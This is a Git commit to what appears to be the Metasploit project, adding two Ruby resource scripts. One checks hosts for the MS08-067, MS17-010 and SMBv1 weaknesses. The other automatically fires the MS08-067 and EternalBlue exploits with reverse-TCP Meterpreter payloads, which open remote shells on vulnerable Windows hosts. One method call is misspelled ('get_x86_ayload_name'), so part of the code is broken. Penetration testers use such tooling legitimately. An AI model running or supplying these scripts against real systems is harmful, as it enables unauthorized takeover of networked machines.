Add resource scripts to check & verify common SMB vulnerabilities
This adds two resource scripts in order to check and verify common SMB vuns that Metasploit can do: * smb_checks.rc * smb_validate.rcbug/bundler_fix
parent
c67a5872cd
commit
d8b2e7a13d
|
@ -0,0 +1,108 @@
|
|||
<ruby>
|
||||
|
||||
#
|
||||
# This resource scripts will check common security concerns on SMB for Windows.
|
||||
# Specifically, this script will check for these things:
|
||||
#
|
||||
# * MS08-067.
|
||||
# * MS17-010.
|
||||
# * SMB version 1.
|
||||
#
|
||||
# For extra validation, you may try the smb_validate.rc script.
|
||||
#
|
||||
# Author:
|
||||
# sinn3r
|
||||
#
|
||||
|
||||
@job_ids = []
|
||||
|
||||
def wait_until_jobs_done
|
||||
while true
|
||||
@job_ids.each do |job_id|
|
||||
current_job_ids = framework.jobs.keys.map { |e| e.to_i }
|
||||
sleep 1 if current_job_ids.include?(job_id)
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def check_ms17_010(host, serv)
|
||||
print_status("Checking MS17-010 on #{host.address}")
|
||||
mod = framework.modules.create('auxiliary/scanner/smb/smb_ms17_010')
|
||||
mod.datastore['RHOSTS'] = host.address
|
||||
mod.datastore['RPORT'] = serv.port
|
||||
mod.run_simple({ 'RunAsJob' => true, 'LocalOutput' => self.output })
|
||||
print_status("MS17-010 job ID for target #{host.address} is: #{mod.job_id}")
|
||||
@job_ids << mod.job_id
|
||||
end
|
||||
|
||||
def check_ms08_067_netapi(host, serv)
|
||||
print_status("Checking MS08-067 on #{host.address}")
|
||||
mod = framework.exploits.create('windows/smb/ms08_067_netapi')
|
||||
mod.datastore['RHOST'] = host.address
|
||||
begin
|
||||
check_code = mod.check_simple({ 'RunAsJob' => true, 'LocalOutput' => self.output })
|
||||
if mod.job_id
|
||||
print_status("MS08-067 job ID for target #{host.address} is: #{mod.job_id}")
|
||||
@job_ids << mod.job_id
|
||||
end
|
||||
|
||||
if check_code == Msf::Exploit::CheckCode::Vulnerable
|
||||
framework.db.report_vuln(
|
||||
workspace: mod.workspace,
|
||||
host: mod.rhost,
|
||||
name: mod.name,
|
||||
info: "This was flagged as vulnerable by the explicit check of #{mod.fullname}.",
|
||||
refs: mod.references
|
||||
)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
def check_smbv1(host, serv)
|
||||
print_status("Checking SMBv1 on #{host.address}")
|
||||
mod = framework.modules.create('auxiliary/scanner/smb/smb1')
|
||||
mod.datastore['RHOSTS'] = host.address
|
||||
mod.datastore['RPORT'] = serv.port
|
||||
mod.run_simple({ 'RunAsJob' => true, 'LocalOutput' => self.output })
|
||||
print_status("SMBv1 check job ID for target #{host.address} is: #{mod.job_id}")
|
||||
@job_ids << mod.job_id
|
||||
end
|
||||
|
||||
def is_smb?(host, serv)
|
||||
return false unless serv.host
|
||||
return false if serv.state != Msf::ServiceState::Open
|
||||
return false if serv.port != 445
|
||||
true
|
||||
end
|
||||
|
||||
def do_checks
|
||||
print_status("Number of hosts to check: #{framework.db.workspace.hosts.length}")
|
||||
framework.db.workspace.hosts.each do |host|
|
||||
host.services.each do |serv|
|
||||
next unless is_smb?(host, serv)
|
||||
print_status("Checking #{host.address}:#{serv.port} (#{serv.name})")
|
||||
check_smbv1(host, serv)
|
||||
check_ms17_010(host, serv)
|
||||
check_ms08_067_netapi(host, serv)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def setup
|
||||
run_single("setg verbose true")
|
||||
end
|
||||
|
||||
def main
|
||||
print_status('Performing checks...')
|
||||
do_checks
|
||||
wait_until_jobs_done
|
||||
end
|
||||
|
||||
setup
|
||||
main
|
||||
|
||||
</ruby>
|
|
@ -0,0 +1,157 @@
|
|||
<ruby>
|
||||
|
||||
#
|
||||
# This resource script will attempt to exploit the following vulnerabilities:
|
||||
#
|
||||
# * MS08-067
|
||||
# * MS17-010
|
||||
#
|
||||
# It works best if you can pair it with the smb_checks.rc script.
|
||||
#
|
||||
# Author:
|
||||
# sinn3r
|
||||
#
|
||||
|
||||
@job_ids = []
|
||||
|
||||
def wait_until_jobs_done
|
||||
while true
|
||||
@job_ids.each do |job_id|
|
||||
current_job_ids = framework.jobs.keys.map { |e| e.to_i }
|
||||
sleep 1 if current_job_ids.include?(job_id)
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def ms08_067_netapi_mod
|
||||
framework.exploits.create('windows/smb/ms08_067_netapi')
|
||||
end
|
||||
|
||||
def ms17_010_mod
|
||||
framework.exploits.create('windows/smb/ms17_010_eternalblue')
|
||||
end
|
||||
|
||||
def is_port_open?(port)
|
||||
begin
|
||||
sock = Socket.new(Socket::Constants::AF_INET, Socket::Constants::SOCK_STREAM, 0)
|
||||
sock.bind(Socket.pack_sockaddr_in(port, get_lhost))
|
||||
rescue
|
||||
return false
|
||||
ensure
|
||||
sock.close if sock && sock.kind_of?(Socket)
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def get_x86_meterpreter_port
|
||||
port_range = (4000..65535)
|
||||
port_range.each do |port|
|
||||
return port if is_port_open?(port)
|
||||
end
|
||||
|
||||
raise RuntimeError, 'Unable to find a meterpreter port'
|
||||
end
|
||||
|
||||
def get_x64_meterpreter_port
|
||||
port_range = (3000..65535)
|
||||
port_range.each do |port|
|
||||
return port if is_port_open?(port)
|
||||
end
|
||||
|
||||
raise RuntimeError, 'Unable to find a meterpreter port'
|
||||
end
|
||||
|
||||
def get_x86_payload_name
|
||||
'windows/meterpreter/reverse_tcp'
|
||||
end
|
||||
|
||||
def get_x64_payload_name
|
||||
'windows/x64/meterpreter/reverse_tcp'
|
||||
end
|
||||
|
||||
def get_lhost
|
||||
framework.datastore['LHOST']
|
||||
end
|
||||
|
||||
def validate_ms08_067(vuln)
|
||||
mod = ms08_067_netapi_mod
|
||||
mod.datastore['RHOST'] = vuln.host.address
|
||||
mod.datastore['RPORT'] = vuln.service ? vuln.service.port : 445
|
||||
mod.datastore['PAYLOAD'] = get_x86_ayload_name
|
||||
mod.datastore['LHOST'] = get_lhost
|
||||
mod.datastore['LPORT'] = get_x86_meterpreter_port
|
||||
print_status("Validating MS08-067 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
|
||||
begin
|
||||
mod.exploit_simple({
|
||||
'LocalOutput' => self.output,
|
||||
'RunAsJob' => true,
|
||||
'Payload' => get_x86_payload_name
|
||||
})
|
||||
@job_ids << mod.job_id
|
||||
rescue ::Exception => e
|
||||
print_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
def validate_ms17_010(vuln)
|
||||
mod = ms17_010_mod
|
||||
mod.datastore['RHOST'] = vuln.host.address
|
||||
mod.datastore['RPORT'] = vuln.service ? vuln.service.port : 445
|
||||
mod.datastore['PAYLOAD'] = get_x64_payload_name
|
||||
mod.datastore['LHOST'] = get_lhost
|
||||
mod.datastore['LPORT'] = get_x64_meterpreter_port
|
||||
print_status("Validating MS17-010 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
|
||||
begin
|
||||
mod.exploit_simple({
|
||||
'LocalOutput' => self.output,
|
||||
'RunAsJob' => true,
|
||||
'Payload' => get_x64_payload_name
|
||||
})
|
||||
@job_ids << mod.job_id
|
||||
rescue ::Exception => e
|
||||
print_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
def is_smb?(host, serv)
|
||||
return false unless serv.host
|
||||
return false if serv.state != Msf::ServiceState::Open
|
||||
return false if serv.port != 445
|
||||
true
|
||||
end
|
||||
|
||||
def do_validation
|
||||
framework.db.workspace.vulns.each do |vuln|
|
||||
case vuln.name
|
||||
when /MS17\-010/i
|
||||
validate_ms17_010(vuln)
|
||||
when /MS08\-067/i
|
||||
validate_ms08_067(vuln)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def setup
|
||||
run_single("setg verbose true")
|
||||
end
|
||||
|
||||
def main
|
||||
if framework.datastore['LHOST']
|
||||
print_status('Performing validation...')
|
||||
begin
|
||||
do_validation
|
||||
wait_until_jobs_done
|
||||
rescue RuntimeError => e
|
||||
print_error(e.message)
|
||||
print_error("Unable to do validation")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
setup
|
||||
main
|
||||
|
||||
</ruby>
|
Loading…
Reference in New Issue